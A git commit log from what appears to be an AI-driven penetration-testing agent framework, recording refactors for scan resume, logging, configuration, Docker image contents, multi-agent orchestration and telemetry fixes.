    composition. So whatever the agent saw on first run is exactly
    what the resumed run sees.

Internally the resume path stays implicit (presence of bus.json
triggers it inside ``run_strix_scan``); ``--resume`` is a UX layer
that:
  1. Sets ``args.run_name = args.resume``.
  2. Pre-populates ``args.targets_info`` and friends from disk.
  3. Skips the fresh-only steps (target re-parse, repo clone,
     diff-scope re-resolution) — the persisted values were already
     finalized on the first run.

HARNESS_WIKI.md: drop the "delete the run dir to force fresh"
instruction.
2026-04-26 00:43:22 -07:00
0xallam 01f80e2dd4 feat(interface): show resume hint on the existing exit panel
When a scan ends without calling ``finish_scan`` (Ctrl+C, TUI quit,
crash), ``display_completion_message`` now appends one extra line
inside the existing completion panel:

    Resume  strix --run-name <run_name>

Same ``dim``-label / coloured-value styling as the panel's ``Target``
and ``Output`` rows. Only rendered when ``scan_completed`` is False —
a finished scan doesn't need a resume nudge.

Triggers ``orchestration/scan.py``'s implicit-resume path on the next
invocation (presence of ``{run_dir}/bus.json`` is the trigger), so
the user gets back exactly where they left off — root + every
non-terminal subagent's full LLM history, bus topology, prior
findings.

Covers both ``run_cli`` and ``run_tui`` paths since
``display_completion_message`` is called from ``main()`` regardless
of which front-end ran.
2026-04-26 00:38:17 -07:00
0xallam d26fe76b88 feat(interface): show resume hint on user-initiated exit
When the user shuts down a run (Ctrl+C in CLI, Ctrl+Q / quit dialog
in TUI, or an uncaught exception during the scan), print a Rich
panel telling them the exact command to pick up where they left off:

    strix --run-name <run_name>

The panel only appears when ``strix_runs/<run_name>/bus.json``
exists — i.e. the scan registered at least the root agent and has
snapshot state worth resuming from. Suppressed when:

  * No run-name was assigned (Ctrl+C before sandbox bring-up).
  * The run dir doesn't exist or has no bus.json yet.

Implementation:

  * ``strix/interface/utils.py`` gains ``format_resume_hint(run_name)
    -> Panel | None``.
  * ``cli.py`` calls it in the SIGINT/SIGTERM/SIGHUP handler before
    ``sys.exit(1)``, and in the ``except Exception`` arm before the
    re-raise.
  * ``tui.py:run_tui`` calls it in a ``finally`` after
    ``app.run_async()`` so the hint lands on the real terminal once
    Textual has restored it (whether the user pressed Ctrl+Q,
    confirmed the quit dialog, or the run completed naturally).
2026-04-26 00:34:44 -07:00
0xallam 629e528afe feat(orchestration): always-on resume across the agent graph
A scan that crashes or is stopped can now be resumed by re-invoking
``strix`` with the same ``--run-name``. Resume is implicit — presence
of ``{run_dir}/bus.json`` triggers it. To force a fresh start, delete
the run dir.

What survives a process restart with the same scan_id:

  * Root agent's LLM history — already worked (root SDK SQLiteSession).
  * Every non-terminal subagent's LLM history — new. ``create_agent``
    now opens SQLiteSession(session_id=child_id,
    db_path={run_dir}/sessions/{child_id}.db) per child and passes it
    to ``run_with_continuation``.
  * Bus topology — new. ``AgentMessageBus`` gains snapshot/restore/
    _maybe_snapshot async methods plus a ``metadata`` field that holds
    per-agent {task, skills, is_whitebox, scan_mode, diff_scope}.
    ``register``, ``finalize``, ``park``, and ``mark_llm_failed`` each
    call ``_maybe_snapshot`` to atomically persist the bus to
    {run_dir}/bus.json (tempfile + Path.replace).
  * Vulnerability reports — new. ``ScanArtifactWriter._write_
    vulnerabilities`` now also writes ``vulnerabilities.json``
    (atomic). ``Tracer.hydrate_from_run_dir`` reads it on resume so
    new vuln-NNNN ids don't collide with prior on-disk files.

What does not survive: the sandbox container itself (fresh per
process), so ``/workspace/scratch`` and Caido state are lost.
``/workspace/sources`` re-mounts from the host so source code is
unchanged.

``orchestration/scan.py:run_strix_scan`` does the actual resume:
  1. Resolve run_dir up front; if bus.json exists it's a resume.
  2. Acquire {run_dir}/.lock (fcntl.flock) so a second strix process
     can't run concurrently on the same scan_id.
  3. ``bus.set_snapshot_path(...)``, ``tracer.hydrate_from_run_dir()``.
  4. On resume: load + bus.restore, find root_id from snapshot (the
     agent with parent_of[id] is None), spawn the sandbox, skip the
     root's bus.register (already in snapshot).
  5. ``_respawn_subagents`` walks every agent with status in
     running/waiting/llm_failed: reopens its SQLiteSession, rebuilds
     the child agent via the captured factory, builds run config /
     context, asyncio.create_task the run with initial_input=[] so
     the SDK replays from session. Per-child failure (missing/corrupt
     DB, factory raises) finalizes that child as crashed and continues.
  6. Open root SQLiteSession at the same path, run the root with
     initial_input=[] on resume (or the formatted root task on a
     fresh run), and let SDK replay drive the next turn.
  7. ``finally``: close every per-agent session, take a final
     snapshot, tear down sandbox, release the lock.

HARNESS_WIKI.md updated with the new run-dir layout (sessions/,
bus.json, vulnerabilities.json, .lock) and the resume contract.

Net: +500 LoC across 7 files. No new deps.
2026-04-26 00:29:37 -07:00
0xallam ab8e5d9cd1 refactor(notes): drop disk persistence + shared-wiki prose
The notes tool no longer touches disk. ``_notes_storage`` lives in
memory for the lifetime of one scan process, shared across every
agent in that process via the existing RLock. Process exit clears
the lot — no notes.jsonl event log, no wiki/<slug>.md Markdown
rendering, no replay-on-startup hydration.

Removed ~10 internal helpers (``_get_run_dir``,
``_get_notes_jsonl_path``, ``_append_note_event``,
``_load_notes_from_jsonl``, ``_ensure_notes_loaded``,
``_persist_wiki_note``, ``_remove_wiki_note``,
``_get_wiki_directory``, ``_get_wiki_note_path``,
``_sanitize_wiki_title``) plus the ``_loaded_notes_run_dir`` module
state, ``wiki_filename`` per-note field, and the ``OSError`` branches
that only existed for the wiki write path.

The ``wiki`` category is preserved as a free-form long-form bucket;
it just no longer has any special persistence behaviour.

Skill prompts scrubbed of every "shared wiki memory" / "repo wiki" /
"append a delta before agent_finish" instruction:
``coordination/source_aware_whitebox.md``,
``custom/source_aware_sast.md``,
``scan_modes/{quick,standard,deep}.md``, plus the WHITE-BOX TESTING
block in ``agents/prompts/system_prompt.jinja``.

HARNESS_WIKI.md updated to drop the wiki-as-shared-knowledge-base
description, the per-run output-tree references to ``notes/notes.jsonl``
and ``wiki/{note_id}-{slug}.md``, and the ``is_whitebox`` toggle prose.

Net: -178 LoC in notes/tools.py, -45 LoC across skills/system_prompt
and the wiki doc. The notes tool surface (5 ``@function_tool``s) is
unchanged for the agent.
2026-04-25 23:56:22 -07:00
0xallam 09eb8a1319 feat(logging): close audit gaps — SDK records, proxy tracebacks, CLI/docker/posthog
Five gaps from the post-implementation audit, closed:

1. **SDK logger captured.** The openai-agents SDK uses
   ``logging.getLogger("openai.agents")`` for its own lifecycle events
   (Runner.run starts, tool dispatch, model retries, exceptions).
   Previous setup only attached handlers to the ``strix`` root, so
   SDK-internal events were dropped. Tracked-roots tuple now covers
   both, with the same FileHandler/StreamHandler/Filter chain.

2. **Proxy tool exception tracebacks.** Every ``@function_tool`` in
   ``strix/tools/proxy/tools.py`` returns a JSON error to the LLM via
   the ``_err(name, exc)`` helper. The tracebacks were silently
   formatted away — the LLM saw the message, the human reading the
   log saw nothing. ``_err`` now emits ``logger.exception(...)``
   covering all five tools at once.

3. **CLI bootstrap.** ``strix/interface/main.py`` had its module
   ``logger`` removed by the previous commit and was emitting nothing.
   Restored, plus log lines for env validation, docker check, LLM
   warm-up, and image pull (debug for already-present, info for
   pull, exception for failures).

4. **Docker client.** ``strix/runtime/docker_client.py`` had no
   logger. Container creation now logs caps + exposed ports at DEBUG
   and the resulting container id at INFO.

5. **PostHog telemetry.** ``strix/telemetry/posthog.py`` had no
   logger. Now logs send success/failure at DEBUG, version-detection
   failures at DEBUG, and disabled-skip at DEBUG (so the log shows
   when telemetry is off, instead of being silent about it).
2026-04-25 23:43:19 -07:00
0xallam 957b492324 feat(logging): per-scan `{run_dir}/strix.log` with scan/agent context tagging
Every scan now writes a complete log file at ``{run_dir}/strix.log``
captured from the moment ``run_dir`` is resolved through teardown.
Stdlib ``logging`` only — no parallel framework.

New ``strix/telemetry/logging.py``:
  * ``setup_scan_logging(run_dir, debug=)`` attaches a ``FileHandler``
    (DEBUG, all ``strix.*``) plus a ``StreamHandler`` (ERROR by
    default; DEBUG via ``STRIX_DEBUG=1``).
  * ``ContextVar``-backed ``scan_id`` and ``agent_id`` injected by a
    ``Filter`` so every line is auto-tagged across asyncio tasks
    without callers passing them explicitly.
  * Third-party noise (``httpx``, ``litellm``, ``openai``,
    ``anthropic``, ``urllib3``, ``httpcore``) capped at WARNING.
  * Returns a teardown handle for ``finally`` cleanup.

Wiring:
  * ``orchestration/scan.py`` calls ``setup_scan_logging`` once per
    scan after ``run_dir`` resolves; sets scan_id; tears down in
    ``finally``. Adds INFO logs for sandbox bring-up + scan
    start/end.
  * ``orchestration/hooks.py`` sets/clears ``agent_id`` ContextVar in
    ``on_agent_start`` / ``on_agent_end`` and emits INFO for agent
    lifecycle, DEBUG for every tool start/end and LLM call.
  * ``interface/main.py`` drops the ``setLevel(ERROR)`` silencer.

Coverage expanded across ~20 files (orchestration, agents, runtime,
llm, tools, interface, config, skills) with INFO for lifecycle and
DEBUG for verbose detail. Per the system instructions in
``logger.warning(f"…{e}")`` were converted to module logger calls.
2026-04-25 23:35:01 -07:00
0xallam 2df67a7c1c feat(tools): python_action — stateless Python execution with proxy helpers
Restores the legacy persistent-IPython tool's *ergonomics* (proxy
helpers pre-bound, structured stdout/stderr/error returns) without the
in-container daemon: each call ships ``strix.tools.proxy._calls`` source
into ``/tmp`` alongside a per-call driver, runs ``python3 -u`` against
it, and parses a sentinel-delimited JSON payload back from stdout. The
driver fetches its own guest token from Caido at ``localhost:48080``
and binds ``list_requests`` / ``view_request`` / ``send_request`` /
``repeat_request`` / ``scope_rules`` to that client; user code runs
inside an ``async def`` wrapper so top-level ``await`` works.

The proxy SDK call sequences live in one file —
``strix/tools/proxy/_calls.py`` — and are reused by both the host-side
``@function_tool`` wrappers (which add JSON serialization for the LLM)
and the in-container kernel (which exposes the bare async functions).
No code duplication; the helper logic itself is host-shipped, so
tweaking the proxy helpers does not require an image rebuild.

Image: a single ``pip install caido-sdk-client`` line so the driver's
``import caido_sdk_client`` resolves. Skill ``tooling/python`` is
always-loaded alongside ``tooling/agent_browser``.

Trade-off accepted: state does not persist across calls (no kernel).
For multi-step workflows the agent combines into one ``code`` block or
writes a script to ``/workspace/scratch/`` and runs via
``exec_command``. If a workflow surfaces that genuinely needs
persistence, the same tool surface migrates to a kernel-backed
executor without changing the LLM contract.
2026-04-25 22:58:53 -07:00
0xallam 414fa82239 chore(image): bump caido-cli v0.48.0 → v0.56.0; parametrize via CAIDO_VERSION
The pinned URL pattern (https://caido.download/releases/v<X>/caido-cli-v<X>-linux-<arch>.tar.gz)
is canonical — it's published by api.caido.io/releases/latest. HEAD requests
return 404 because the upstream R2 bucket only honors GET-with-redirect, but
the wget call in the Dockerfile uses GET so the original URL was never
actually broken — it was just stale.

Switch to an ARG so future bumps are a single --build-arg override.
2026-04-25 19:03:58 -07:00
0xallam f61f8bf75f refactor: collapse strix/io/, strix/run_config_factory.py, strix/entry.py
Three top-level files that didn't earn their place:

- ``strix/io/scan_artifacts.py`` had a single consumer (the Tracer);
  collapsing it into ``strix/telemetry/`` puts it next to that consumer.
  ``strix/io/`` is gone.

- ``strix/run_config_factory.py`` held two helpers that didn't earn the
  factoring. ``make_agent_context`` was a 17-line dict-spelling function
  whose argument names were identical to its dict keys — replaced with
  inline dict literals at the two call sites. ``make_run_config`` had
  enough RunConfig assembly logic to justify a helper, but with only
  two callers (root scan + ``create_agent``) inlining is cleaner than
  keeping a top-level file. ``DEFAULT_RETRY`` moves to
  ``strix/llm/retry.py`` next to its other LLM-policy peers; the dead
  ``STRIX_DEFAULT_MAX_TURNS`` constant is dropped.

- ``strix/entry.py`` is a misnomer — it isn't *the* entry point (that's
  ``strix/interface/main.py`` for the CLI), it's the per-scan bring-up
  driver: build the bus, bring up the sandbox, build the root agent +
  child factory, format the scope-context block, register root in bus,
  open SQLiteSession, hand off to ``run_with_continuation``. That all
  lives next to its peers in ``strix/orchestration/`` now, renamed to
  ``scan.py`` so the role is obvious.

No behavior change. Net -125 LoC.
2026-04-25 18:54:46 -07:00
0xallam 313394e46c fix(telemetry): capture tool args in tool_executions for TUI renderers
The 19 tool renderers under strix/interface/tool_components/ all read
tool_data.get("args", {}) to render meaningful previews (URLs, methods,
note titles, vuln severities, etc.). After the SDK migration,
tracer.log_tool_start was only recording tool_name — every renderer
silently fell back to its empty-args path and the TUI lost its
per-call context.

Pull args from the SDK-native ToolContext (tool_input when parsed,
otherwise json-decode tool_arguments) and stash them on the
tool_executions entry. log_tool_start now takes an optional args dict;
existing callers pass nothing and get the empty-dict default.
2026-04-25 18:08:36 -07:00
0xallam d31cc99e0a docs(finish_scan): elevate the active-agent check to a mandatory pre-flight
Audit flagged that legacy ``finish_scan`` had a code-level guard
(``_check_active_agents``) that refused completion if any subagent was
still running or stopping. Restoring it as code would be defensive
mid-stream cancellation we don't actually want — the agent should
choose whether to wait, message, or stop each child.

Lift the responsibility to the prompt instead: docstring now opens
with a numbered pre-flight checklist that requires the agent to
``view_agent_graph`` first and refuses self-permission to call
``finish_scan`` while any peer is in ``running`` / ``waiting`` /
``llm_failed``. The model sees this as part of the tool's schema and
treats it as a hard rule (matches our pattern for similar
constraints).
2026-04-25 17:56:20 -07:00
0xallam c8a0be4716 chore(orchestration): drop XML wrappers + close remaining audit gaps
Final pass after re-audit. Three sub-specs landed:

**XML simplification** — the legacy XML envelopes were prompt-engineering
ceremony, not parser primitives (the SDK uses native tool-calling). Drop
the verbose wrappers in favor of one-liner labeled headers. Side benefit:
fixes the unescaped-content XML-injection bug the audit caught (peer
content containing ``</content>`` no longer breaks the wrapper).

- ``_format_inter_agent_message``: ``<inter_agent_message><sender>...
  <content>...`` 9-line XML → ``[Message from {name} ({id}) | type=... |
  priority=...]\n{content}``.
- ``_render_completion_report``: ``<agent_completion_report><agent_info>
  ...<results>...`` XML → human-readable structured text with section
  headers and bulleted lists.
- ``inherited_context``: ``<inherited_context_from_parent>...`` →
  ``== Inherited context from parent (background only) ==``.

**MG1: TUI stop-agent uses graceful cancel.** ``tui.py`` was calling
``bus.cancel_descendants`` (hard, ``task.cancel()`` mid-stream) for the
stop-agent button. Switched to ``bus.cancel_descendants_graceful``, which
uses ``RunResultStreaming.cancel(mode="after_turn")`` to let each agent
finish its current turn (and save to session) before honoring the cancel.
The hard path remains in ``entry.py`` for KeyboardInterrupt where
graceful isn't possible.

**MG2: Document hook lock-free stats mutation.** Added a comment in
``hooks.on_llm_start`` explaining why ``warned_85`` / ``warned_final``
are mutated lock-free: SDK serializes ``on_llm_start`` per agent, so this
hook is the sole writer to those keys; ``record_usage`` only writes
disjoint keys (in/out/cached/calls).

**AG3: Auto-load ``coordination/root_agent`` skill for the root.**
Legacy auto-loaded the orchestration-guidance skill for root agents
only. Threaded ``is_root`` through ``render_system_prompt`` →
``_resolve_skills``; root agents now get the skill, children don't.

Skipped (per user direction): whitebox-wiki integration (CG2-4) — the
auto-injection / auto-update of the shared repo wiki was a pre-migration
feature; user opted not to restore it.
2026-04-25 17:48:55 -07:00
0xallam 33e5e61b0c feat(orchestration): full parity with legacy harness — 8 gaps closed via SDK natives
Audit found 8 behavioral gaps between post-migration and the legacy
``BaseAgent.agent_loop``. All 8 are now closed using SDK-native
primitives — no custom workarounds, no shadow state machines.

What was broken / different:

- G1: ``inherit_context`` was dead code; children always started fresh.
- G2: TUI user message couldn't interrupt an in-flight LLM/tool turn.
- G3: ``llm_failed`` state never set; hard failures propagated as crashes.
- G4: No graceful ``stop_agent`` tool.
- G5: Parked subagents waited forever (no auto-resume timeout).
- G6: Inter-agent messages used a plain header instead of legacy XML.
- G7: Completion reports used JSON instead of legacy XML.
- G11/G12: Turn counter reset per cycle; budget warnings could re-fire.

What we did:

Bus extensions (``orchestration/bus.py``):
- ``streams`` registry + ``attach_stream`` ctx manager + ``request_interrupt``
  for SDK-native ``RunResultStreaming.cancel(mode="after_turn")``.
- ``mark_llm_failed`` + ``wait_for_user_message`` (filtered: only ``from="user"``
  satisfies; peer messages don't unstick a stuck model).
- ``stopping: set[str]`` for graceful programmatic exit.
- ``cancel_descendants_graceful`` — leaves-first via ``request_interrupt``.
- ``record_usage`` increments ``calls`` unconditionally so it doubles as the
  per-agent-lifetime turn counter (legacy ``state.iteration`` parity).
- ``warned_85`` / ``warned_final`` flags on ``stats_live`` for once-fire
  budget warnings.

Run loop rewrite (``orchestration/run_loop.py``):
- ``Runner.run`` → ``Runner.run_streamed`` with ``bus.attach_stream`` so
  cancel has a target. Catch ``(AgentsException, APIError)`` after retries
  exhaust; in interactive mode call ``mark_llm_failed`` + wait for user.
- ``UserError`` / ``MaxTurnsExceeded`` / ``CancelledError`` propagate.
- Outer loop: ``asyncio.wait_for(bus.wait_for_message, timeout=300)`` for
  interactive subagents (root waits forever). ``TimeoutError`` injects
  ``"Waiting timeout reached. Resuming execution."``.
- Honors ``bus.stopping`` at top of each iteration.

Hooks (``orchestration/hooks.py``):
- Counter source moved from per-cycle ``ctx["turn_count"]`` to
  per-lifetime ``bus.stats_live[agent_id]["calls"]``.
- Warnings guarded by once-flags — exactly-once across all cycles.

Filter (``orchestration/filter.py``):
- Restored legacy ``<inter_agent_message>`` XML envelope with the
  ``<delivery_notice>DO NOT echo back</delivery_notice>`` instruction.

Agents-graph (``tools/agents_graph/tools.py``):
- G1: ``create_agent`` reads ``ctx.turn_input`` (SDK populates it before
  tool execution at ``run_internal/turn_resolution.py:806``). Wraps as
  one ``<inherited_context_from_parent>`` block.
- G7: ``agent_finish`` emits the legacy ``<agent_completion_report>``
  XML. ``child_ctx["task"] = task`` threaded so the report echoes the
  original task.
- G4: New ``stop_agent`` tool — refuses self-stop, refuses already-
  finalized targets, ``cascade=True`` uses ``cancel_descendants_graceful``.

TUI (``interface/tui.py``):
- ``_send_user_message`` schedules ``bus.send`` AND
  ``bus.request_interrupt(target, mode="after_turn")`` — SDK finishes
  current turn cleanly, next cycle picks up the user's message.

Factory (``agents/factory.py``):
- Registered ``stop_agent`` in ``_BASE_TOOLS``.

Out of scope:
- G8 (``[ABORTED BY USER]`` marker) is auto-resolved by G2 — the SDK
  saves the full assistant message before honoring
  ``cancel(mode="after_turn")``, so partial content is preserved in the
  session.

Verified all bus behaviors with a smoke test. Lint at baseline.
2026-04-25 17:30:29 -07:00
0xallam 73630f3f55 refactor: move `run_loop into strix/orchestration/`
Top-level ``strix/run_loop.py`` was an orphan — it owns the multi-agent
continuation loop, which is exactly the orchestration layer's job.
Moves it into ``strix/orchestration/run_loop.py`` next to the bus,
hooks, and filter — they all glue ``Runner.run`` to bus state.
2026-04-25 17:06:17 -07:00
0xallam 4b2ef79a61 feat(run-loop): lift the interactive continuation loop — applies to all agents
The previous commit only kept the root agent alive across cycles. But
``interactive`` propagates to children via ``make_child_factory``, and
the legacy harness's continuation loop applied to every interactive
agent in the tree — children also stayed alive after ``agent_finish``,
ready to receive follow-up messages from the parent or siblings.

Lift the demo-loop pattern out of ``entry.run_strix_scan`` into a
shared helper :func:`strix.run_loop.run_with_continuation` and use it
at both call sites:

- ``entry.run_strix_scan`` for the root agent.
- ``tools.agents_graph.tools.create_agent`` for child agents — the
  ``asyncio.create_task(Runner.run(...))`` becomes
  ``asyncio.create_task(run_with_continuation(...))``.

``StrixOrchestrationHooks.on_agent_end`` drops the ``parent_id is None``
constraint — any interactive agent parks instead of finalizing.
Children that crash still finalize so parents stop waiting on them.

Cancellation propagates correctly: ``bus.cancel_descendants`` cancels
the task; ``run_with_continuation``'s ``await bus.wait_for_message``
catches ``CancelledError`` and returns the last result.

Lint at baseline.
2026-04-25 17:02:44 -07:00
0xallam 24355016a0 feat(entry): interactive mode keeps the root agent alive across cycles
Pre-migration ``BaseAgent.agent_loop`` ran forever in interactive mode,
re-entering a "waiting state" after each finish-tool call so user
follow-ups could keep the conversation going. Post-migration our
``Runner.run`` returned on ``StopAtTools(finish_scan)`` and the user's
next chat message had no listener — silent dead-end.

Restore the legacy "agent never dies" semantics using the SDK's
canonical demo-loop pattern (``agents/repl.py:run_demo_loop``):

- Add ``AgentMessageBus.wait_for_message(agent_id)`` — blocks until
  an inbox is non-empty. Backed by a per-agent ``asyncio.Event``
  fired from ``send``.
- Add ``AgentMessageBus.park(agent_id)`` — sets status to ``waiting``
  without finalizing (inbox + tree edges + name preserved). Lets
  ``send`` keep accepting messages between cycles.
- Plumb ``interactive`` through ``make_agent_context`` and the
  ``create_agent`` graph tool (children inherit).
- ``StrixOrchestrationHooks.on_agent_end`` parks the root agent
  instead of finalizing when ``interactive=True`` and the run
  completed cleanly. Resets ``agent_finish_called`` /
  ``turn_count`` for the next cycle.
- ``entry.run_strix_scan`` adds an outer loop in interactive mode:
  after ``Runner.run`` returns, ``await bus.wait_for_message(root_id)``,
  drain pending user messages, and re-invoke ``Runner.run``. SQLite
  session preserves prior conversation across cycles.

For non-interactive (CLI) mode: unchanged — single ``Runner.run``,
return.

Verified bus behaviors: wait returns immediately on pre-existing
message, blocks then wakes on send, ``park`` keeps agent send-able,
``finalize`` evicts. Lint at baseline (3 ruff / 69 mypy).
2026-04-25 16:54:36 -07:00
0xallam 32147fbbba refactor(agents-graph): drop redundant `agent_finish_called` set
``agent_finish`` was setting ``inner[\"agent_finish_called\"] = True``
at the top of its body, but ``StrixOrchestrationHooks.on_tool_end``
already does this for ``agent_finish`` and ``finish_scan`` after the
tool returns. Doing it twice was harmless but suggested the flag's
ownership was ambiguous; the hook is the single source of truth.
2026-04-25 16:29:51 -07:00
0xallam ca18772f19 refactor(telemetry): extract scan artifact I/O into `strix.io.scan_artifacts`
The 150-line ``Tracer.save_run_data`` mashed three concerns together:
opening file handles, formatting Markdown for vulnerabilities, and
writing the executive penetration-test report. None of that is
telemetry — it's pure on-disk artifact emission.

Extract to :class:`ScanArtifactWriter` in ``strix/io/scan_artifacts.py``:

- One writer per ``run_dir``, owns its own ``_saved_vuln_ids`` dedupe
  set so re-saves only emit new files.
- ``writer.save(vulnerability_reports=, final_scan_result=)`` is the
  only public entry point.
- ``_render_vulnerability_md`` is module-private and unit-testable in
  isolation.

``Tracer`` now lazily creates a single ``ScanArtifactWriter`` per
``run_dir`` and delegates ``save_run_data`` to it (~150 LoC body
collapses to ~10).

Net: tracer.py 422 → 327 LoC; new scan_artifacts.py 196 LoC. About
−95 LoC of mixed concerns, plus telemetry no longer carries file-I/O
responsibilities.
2026-04-25 16:28:07 -07:00
0xallam 4d49a71272 fix(telemetry): restore broken `log_tool_start / log_tool_end` interface
Audit found ``hooks.on_tool_start`` / ``on_tool_end`` were calling
``tracer.log_tool_start`` / ``log_tool_end`` via ``hasattr()`` checks —
but those methods didn't exist on ``Tracer``. The ``hasattr()`` always
returned False, so the calls were silently no-ops, leaving
``tracer.tool_executions`` permanently empty.

Four TUI render paths consume that dict and were therefore broken:

- ``_get_agent_name_for_vulnerability`` always returned ``None`` (vuln
  panel couldn't show which agent reported the finding).
- ``_agent_has_real_activity`` always returned ``False`` (animation
  logic stopped immediately).
- ``_agent_vulnerability_count`` always returned ``0``.
- ``_gather_agent_events`` only showed chat events, never tool events.

Fix: add ``Tracer.log_tool_start(agent_id, tool_name) → exec_id`` and
``Tracer.log_tool_end(agent_id, tool_name, result)``. Hook bodies now
call them directly (no ``hasattr`` guard). The exec-id counter ensures
nested / overlapping tool calls within an agent don't clobber each
other.
2026-04-25 16:24:45 -07:00
0xallam 7596fd4593 refactor: lift hardcoded model default + fix stale `is_whitebox` docstring
``"anthropic/claude-sonnet-4-6"`` was duplicated as a kwarg default in
5 places (``run_strix_scan``, ``make_run_config``, ``make_agent_context``,
and twice in ``agents_graph.create_agent``'s ``inner.get(..., default)``
calls). The default was actually dead code: ``validate_environment``
requires ``STRIX_LLM`` to be set before any scan starts, and the CLI/TUI
callers don't pass ``model=`` themselves.

Replaced with a single resolution in ``run_strix_scan``:

    resolved_model = model or load_settings().llm.model
    if not resolved_model:
        raise RuntimeError("No LLM model configured. ...")

then propagated explicitly to ``make_agent_context`` and
``make_run_config``. Both lose their string defaults — ``model`` is now
a required kwarg. The graph tool's ``inner.get("model", "...")`` is
``inner["model"]``: the parent context guarantees it's set.

Drive-by: ``run_strix_scan`` docstring still listed ``is_whitebox`` as
a ``scan_config`` key — stale since ``1e641e5`` derived it from
``targets`` instead. Updated.
2026-04-25 16:10:54 -07:00
0xallam bc6303b5a3 refactor(config): pydantic-settings revamp + drop `is_whitebox` plumbing
Replaces 200+ lines of bespoke env-loader / persist / change-detection
machinery with ``pydantic_settings.BaseSettings`` (already a transitive
of ``openai-agents → mcp``, no new direct dep).

What was wrong with ``Config``:

- 14 knobs flat in one namespace, weak grouping by comment-block.
- ``Config._applied_from_default`` and ``Config._config_file_override``
  were externally mutated from ``interface/main.py:532-534``. Private
  members were part of the public contract.
- Stringly-typed values: every caller had to coerce
  (``int(Config.get("llm_timeout") or "300")``,
  ``... not in {"0", "false", "no", "off"}``).
- Dead knob: ``strix_llm_max_retries`` declared, persisted, listed in
  ``_LLM_CANONICAL_NAMES`` — zero readers (``DEFAULT_RETRY``
  hardcodes ``max_retries=5``). Dropped.
- ``_LLM_CANONICAL_NAMES`` tuple maintained alongside class vars —
  duplicate source of truth.
- ``_tracked_names()`` introspected ``vars(cls).items()`` filtered on
  ``(v is None or isinstance(v, str))`` — fragile.
- Awkward path: ``strix/config/config.py`` inside ``strix/config/``
  with ``__init__.py`` just re-exporting.
- Dual access for the same fact: ``web_search`` read
  ``os.getenv("PERPLEXITY_API_KEY")`` while ``main.py`` read
  ``Config.get("perplexity_api_key")``.

New shape:

- ``strix/config/settings.py`` — typed dataclass tree:
  ``Settings.{llm,runtime,telemetry,integrations}``. Each sub-model is
  its own ``BaseSettings`` so it reads env independently. Field-level
  ``alias=`` and ``validation_alias=AliasChoices(...)`` mirror the
  existing flat env-var names — user-facing env contract is unchanged.
  Bool fields auto-parse ``"0"``/``"false"``/``"no"``/``"off"``;
  int fields auto-coerce.
- ``strix/config/loader.py`` — thin ``load_settings()``,
  ``apply_config_override(path)``, ``persist_current()`` with module
  cache. JSON file reader walks aliases to populate sub-models, dropping
  entries already covered by env (so env still wins).
- 13 callsites migrated from ``Config.get("...")`` to
  ``load_settings().<group>.<field>``.
- ``posthog._is_enabled()`` collapses to one line.
- ``--config <path>`` flow simplified: one
  ``apply_config_override(...)`` call replaces three lines of
  class-private mutation.

Drive-by — drop ``is_whitebox`` from ``scan_config`` dict:

- It was being derived as ``bool(args.local_sources)`` in three places
  (``cli.py``, ``tui.py``, ``main.py``) and stuffed into the dict for
  ``entry.py`` to read back. The fact is fully derivable from
  ``scan_config["targets"]`` — any target with ``type == "local_code"``.
- New helper ``is_whitebox_scan(targets)`` in ``interface/utils.py``
  alongside the other target-classification utilities.
- ``entry.py`` computes once; ``main.py``'s posthog start uses the same
  helper. Triplicate derivation gone.

Verified: ruff at baseline (3), mypy at baseline (69). Six smoke tests
pass — defaults / JSON-only / env-wins-over-JSON / alias-chain
fallback / bool parsing / ``is_whitebox_scan``.
2026-04-25 16:05:40 -07:00
0xallam 08da207890 chore(image): drop sidecar/Playwright legacy + plug NO_PROXY hole
Dockerfile carried forward three pieces of dead state from the
pre-migration era:

- ``/app/runtime`` and ``/app/tools`` mkdir entries — the FastAPI
  sidecar + in-container tool registry that those dirs hosted are
  gone.
- ``/home/pentester/{configs,wordlists,output,scripts}`` — empty
  placeholders never populated by anything; greps for them in the
  whole repo come back empty.
- ~20 explicit Chrome/Playwright runtime libs (``libnss3``,
  ``libnspr4``, ``libatk*``, ``libxcomposite1``, …) plus emoji /
  freefont packages. These were Playwright deps; the migration to
  ``agent-browser`` runs ``agent-browser install --with-deps`` which
  owns this list authoritatively. Keep ``libnss3-tools`` for
  ``certutil`` in the entrypoint's CA-trust step.

Drive-by bug fix: ``NO_PROXY=localhost,127.0.0.1`` was set in the
entrypoint (``/etc/profile.d/proxy.sh`` + ``/etc/environment``) but
NOT in the SDK manifest's environment. ``docker exec``-spawned
processes (which ``session.exec`` and the Shell capability use)
inherit only manifest env, so ``agent-browser``'s CDP-localhost
traffic was being looped back through Caido. Add it.
2026-04-25 15:28:48 -07:00
0xallam 514284cc95 refactor(dedupe): route through MultiProvider + cache wrapper + retry policy
``check_duplicate`` was calling ``litellm.completion(...)`` directly
via ``resolve_llm_config()``, bypassing every layer the main agent
loop runs through:

- :class:`MultiProvider` (so ``anthropic/...`` aliases never went
  through :class:`AnthropicCachingLitellmModel` and missed the
  ``cache_control`` patching on the system prompt — 4x cost on
  repeated dedupe calls within the same scan).
- :data:`DEFAULT_RETRY` (no retry on 429s / network blips — the
  caller's broad except-and-fallback was hiding this).

Switch to the SDK's :meth:`Model.get_response` directly: same model
selection, same retry policy, same cache wrapper. Extract assistant
text from ``ModelResponse.output`` via the canonical
``ResponseOutputMessage`` walk.

``check_duplicate`` is now async — drops the ``asyncio.to_thread``
indirection in ``_do_create``. Validation logic is fast-sync; running
it on the event loop is fine.

Drive-by: rename ``_DEFAULT_RETRY`` → ``DEFAULT_RETRY`` in
``run_config_factory`` so the dedupe path can reuse the same constant
without reaching into a private name.
2026-04-25 15:25:44 -07:00
0xallam 5b17505873 refactor: nuke `strix_tool` shim + dead package re-exports
``@strix_tool`` was passing through every kwarg to ``@function_tool``
with the same defaults — zero Strix-specific value-add. The docstring
also still claimed terminal/browser/python tools opted into
``timeout_behavior="raise_exception"``, but those tools were all
deleted in the recent migrations.

- Replace 30 ``@strix_tool(...)`` callsites with ``@function_tool(...)``.
- Inline ``dump_tool_result(x)`` as ``json.dumps(x, ensure_ascii=False,
  default=str)`` at all 64 callsites — no helper.
- Delete ``strix/tools/_decorator.py``.

Drive-by: gut dead package re-exports.

- ``strix/{agents,orchestration,tools}/__init__.py`` re-exported
  symbols nobody imports via the package — every consumer uses deep
  paths (``from strix.agents.factory import build_strix_agent``).
- The 8 ``strix/tools/<sub>/__init__.py`` re-exports only fed the
  splat ``from .agents_graph import *`` etc. in the parent package
  init, which is also gone now.
